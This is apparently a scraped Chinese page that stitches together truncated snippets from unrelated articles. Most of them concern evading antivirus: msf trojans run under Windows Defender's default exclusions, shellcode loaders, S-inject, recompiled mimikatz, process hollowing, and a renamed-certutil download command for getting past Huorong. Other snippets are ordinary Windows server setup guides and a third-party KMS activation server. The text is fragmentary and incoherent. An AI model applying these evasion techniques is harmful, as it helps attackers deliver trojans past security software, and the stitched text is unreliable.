官方文档 在制作免杀的过程中，翻找 Windows 官方对 Windows Defender 的介绍，发现有这样一个目录：Configure Microsoft Defender Antivirus exclusions...on Windows Server（在 Windows server 中配置defender排除项）。...简而言之就是在 Windows Server2016 和 2019 中，Windows Defender 默认存在一些排除项，在实时检测过程中会忽略这些排除项，但是主动扫描的时候不会排除。...这就给 Bypass Windows Defender 提供了一个新思路。...首先使用 msf 生成一个默认的 exe 木马，并下载到目标服务器中执行，发现 Windows Defender 发出警告： ? 获得的 session 也是昙花一现： ?
乌鸦安全的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。...360主动防御 • Windows7 火绒主动防御 • Windows10 开启windows Defender 其中测试的杀软均升级到最新，并且关闭了自动上传样本的功能。...（被杀） 在上线之后，立刻被拦截查杀： 在这里可以发现，三个杀软中只有Windows Defender难过，因此针对它进一步进行测试： 在这里选择了加密方法，然后再去生成木马，但是发现过Windows...此时生成了两个文件： 静态查杀正常： 动态加载： 动态加载的话，不是直接双击上线的，而是在命令行中，将exe加载，并且跟上分离文件的名称才可以：(此时没有杀软) 当有Windows Defender...总结 在整个掩日免杀项目中，可以看到功能比以前增加了很多，而且体验感变好，免杀能力也很强。
前段时间分享了在线杀软对比源码+数据源（自用），最近又做了些补充，新增了一些杀软和常用的权限提升、信息搜集的进程。欢迎大家补充！...所以搜集整理了下Windows常用到的杀软、提权、信息搜集的进程用于辅助渗透。...奇安信、深信服、火绒安全、电脑管家等； WPS、G6FTP、TeamViewer、ToDesk、AnyDesk、向日葵、护卫神主机卫士、西部数码建站助手等； 注：如果存在有安全防护则需要去做针对性的免杀和绕过测试
✎ 阅读须知 乌鸦安全的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。...当然，在无防护下，理论上所有木马均可上线 3. shellcode免杀 这里以Windows7下的火绒为例 完整版： # -*- encoding: utf-8 -*- # Time : 2021/.../gui/file/a278c36a24c7315a0d8d7f8c1adf2a4ac927b25f72aca330fdb7ea77be86ac48/detection 接下来就是不能免杀的： windows...总结 本文使用了最基本的shellcode加载器免杀的方法，而且一起学习了pyinstaller打包exe的反编译方式，也顺便免杀了火绒、360、Windows Defender，当然从该文章发出来的那一刻起...，可能免杀就不再有效了，不过，方法千千万，免杀没有那么难。
项目介绍 S-inject是一款支持x86/x64的DLL和Shellcode 的Windows注入的免杀工具，支持图形化界 免杀效果 远程shellcode注入等功能可免杀火绒，VNC无感，可注册表添加开机自启动
✎ 阅读须知 乌鸦安全的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。...失败mimikatz源码免杀和成功的免杀Windows Defender 本文周一的时候，工具就已经上传GitHub了，所以工具应该是已经失效了！！！仅供参考！...3.Windows Defender免杀更不用想，秒杀！ 2.2 其他方法成功 免杀火绒成功 免杀Windows Defender（关闭自动上传可疑样本）成功 360不进行测试，联网无意义！...说明 机器1：Windows10 编辑环境：vs2012 杀软：360安全卫士联网最新版（带安全大脑，会自动上传样本） 机器2：Windows7 杀软：火绒联网最新版 机器3：Windows10 杀软：...360杀毒联网最新版（会自动上传样本） 机器4：Windows10 杀软：Windows Defender（关闭自动上传样本） 本文原本想学习下二次编译mimikatz免杀360和火绒，但是经过多次折腾之后发现
/ 下载之后本地打开：（记得关闭杀软） 2....360主动防御 Windows7 火绒主动防御 Windows10 开启windows Defender 其中测试的杀软均升级到最新，并且关闭了自动上传样本的功能。...： 静态测试 动态上线（被杀） 在上线之后，立刻被拦截查杀： 在这里可以发现，三个杀软中只有Windows Defender难过，因此针对它进一步进行测试： 在这里选择了加密方法，然后再去生成木马...此时生成了两个文件： 静态查杀正常： 动态加载： 动态加载的话，不是直接双击上线的，而是在命令行中，将exe加载，并且跟上分离文件的名称才可以：(此时没有杀软) 当有Windows Defender...总结 在整个掩日免杀项目中，可以看到功能比以前增加了很多，而且体验感变好，免杀能力也很强。
在文件层面实现免杀。可以把一个木马使用DES加密，放在资源里。执行时，从资源里释放出来，在内存里进行DES解密，注入到一个系统的进程中。 ?...环境 VisualStudio 2015 企业版 普通程序 Notepad.exe (C:\windows\system32\Notepad.exe) 木马程序 MalWare.exe 源码下载地址，...CreateProcess函数用于创建一个进程，cAppName为C:\Windows\notepad.exe，是程序文件的路径，第6个参数为CREATE_SUSPENDED，表示创建一个挂起的进程。...总结 本文介绍的Win10 x64进程镂空技术，可以在文件层面实现木马免杀。 *本文作者：河马安全网，转载请注明来自FreeBuf.COM
✎ 阅读须知 乌鸦安全的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。...老树开新花之shellcode_launcher免杀Windows Defender 免杀效果 静态免杀 动态免杀效果（指的是可执行命令） 1....本文在测试时，发现可免杀最新版火绒、最新版联网360、Windows Defender最新版（关闭可疑文件上传）。...无杀软的情况测试上线 首先测试下关闭所有杀软的的情况下，测试其能否正常上线：将raw文件拷贝到Windows10中，并且关闭所有杀软。...crow_test_av.exe 在这里可以看到，直接编译后的文件直接可以免杀Windows Defender 去特征的a.exe： 2.5.4 免杀winserver2019 Windows Defender
刚买服务器主机经常会出现主分区空间不足的现象，尤其像windows系统本身就要占用很大空间，稍微装点软件就会出现磁盘空间不足的现象，所以给磁盘分区是一件重要且优先的进行的任务，今天我就用分区助手这款软件来进行一下...windows2008系统的分区步骤。
或者 写远程服务器IP地址、默认用户名：administrator、密码：自定义 点击：连接按钮以后，会出现输入密码对话框，将自设定的密码输入。
verify -- 验证证书，CRL 或链 -verifyCTL -- 验证 AuthRoot 或不允许的证书 CTL -syncWithWU -- 与 Windows...更新同步 -generateSSTFromWU -- 通过 Windows 更新生成 SST -generatePinRulesCTL -- 生成捆绑规则 CTL -downloadOcsp...-deleteEnrollmentServer -- 删除注册服务器应用程序 -addPolicyServer -- 添加策略服务器应用程序 -deletePolicyServer --...-setreg -- 设置注册表值 -delreg -- 删除注册表值 -ImportKMS -- 为密钥存档导入用户密钥和证书到服务器数据库...可以发现这里直接bypass了最新版的火绒 copy C:\windows\system32\certutil.exe abc.txt abc.txt -urlcache -split -f http:
打开任务管理器-启动查看启动项(Win10上可以/Win Server2012没有该项)
发布者：全栈程序员栈长，转载请注明出处：https://javaforall.cn/146367.html原文链接：https://javaforall.cn
可能你听说过Apache Tomcat， Apache与Tomcat都是Apache开源组织开发的用于处理HTTP服务的项目，两者都是免费的，都可以作为独立的Web服务器运行。...Apache是Web服务器。Tomcat是Java应用服务器，是 Apache 的扩展。本文档将详细描述如何在云服务器上安装Apache环境。 首先，我们下载Apache。...下载最新版本 选择windows版本 选择ApacheHaus 选择64位下载 将下载下来的压缩包解压到服务器要安装的位置，解压即安装； 打开 Apache24\conf 目录下的 httpd.conf
最近因朋友需要激活 Windows 10 ，拉了个 Docker 镜像，建了个激活服务器。...服务器地址 kms.eallion.com 激活服务器部署在腾讯云香港轻量云服务器上，此网页能打开则表示激活服务可用。 只支持激活 VOL 版本的 Windows 和 Office。...KMS 方式激活，激活一次其有效期只有 180 天，每隔一段时间系统会自动向 KMS 服务器请求续期。...https://hub.docker.com/r/mikolatero/vlmcsd GitHub 源码：https://github.com/Wind4/vlmcsd GVLK KMS 客户端安装密钥 Windows...激活 Windows slmgr.vbs -upk slmgr.vbs -ipk NRG8B-VKK3Q-CXVCJ-9G2XF-6Q84J slmgr.vbs -skms kms.eallion.com
开启FTP功能 首先打开控制面板–>程序–>启用或关闭Windows功能； 勾选FTP服务、Web管理工具、万维网服务； 点击完成，等待生效 放行端口 打开Windows防火墙–>允许应用通过防火墙...–>点击更改设置，勾选FTP服务器的公用和专用 重启计算机 完成上面的操作后，重启计算机 添加FTP访问用户 可选操作，如果是设置匿名访问FTP，或者直接使用Windows已有的用户，就不用创建用户...FTP（需要在同一个网络环境下）： 可以访问 后记 修改FTP设置 打开计算机管理功能，在服务中找到Internet Information Services，展开计算机用户–>网站，双击创建的FTP服务器
下载windows版安装包 https://www.visualsvn.com/files/VisualSVN-Server-4.2.2-x64.msi 安装SVN服务端 图片 创建用户名和密码
为什么连不上， 问清楚服务器类型之后就开始帮助他 开始正文 先给大家看一下连接成功是啥样 开始正文 远程连接Windows服务器 您可以通过 轻量应用服务器管理控制台 本地Windows系统自带的远程桌面连接工具连接...具体操作，请参见下面的通过管理控制台远程连接Windows服务器 您也可以在本地Windows环境中，通过Windows自带的远程桌面连接工具连接Windows服务器。...具体操作，请参见在本地Windows环境中远程连接Windows服务器。...我今天给大家教的是在本地Windows环境中远程连接Windows服务器 在本地Windows环境中远程连接Windows服务器 1.通过以下任一方式，在本地Windows系统中打开远程桌面连接工具。...计算机：待连接的Windows服务器的公网IP。 用户名：Windows服务器默认用户名为Administrator。 4.单击连接，然后输入Windows服务器默认用户的密码，单击确定。
https://www.emqx.cn/ 下载完成后解压，解压完成后打开，然后进入bin目录 里面有以下文件 在地址栏中输入cmd然后回车 打开cmd窗口后输入 ：emqx start回车 服务器已经启动了...关闭服务器输入 ：emqx stop EMQ默认使用的端口有： 1883: MQTT 协议端口 8883: MQTT/SSL 端口 8083: MQTT/WebSocket 端口...管理控制台端口 用浏览器打开http://127.0.0.1:18083/即可看到后台管理页面，默认用户名/密码为admin/public 进行EMQ控制台登录，登录后界面如下： 修改中文方法： 到这里服务器就搭建完成了
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
即时通信 IM
腾讯会议
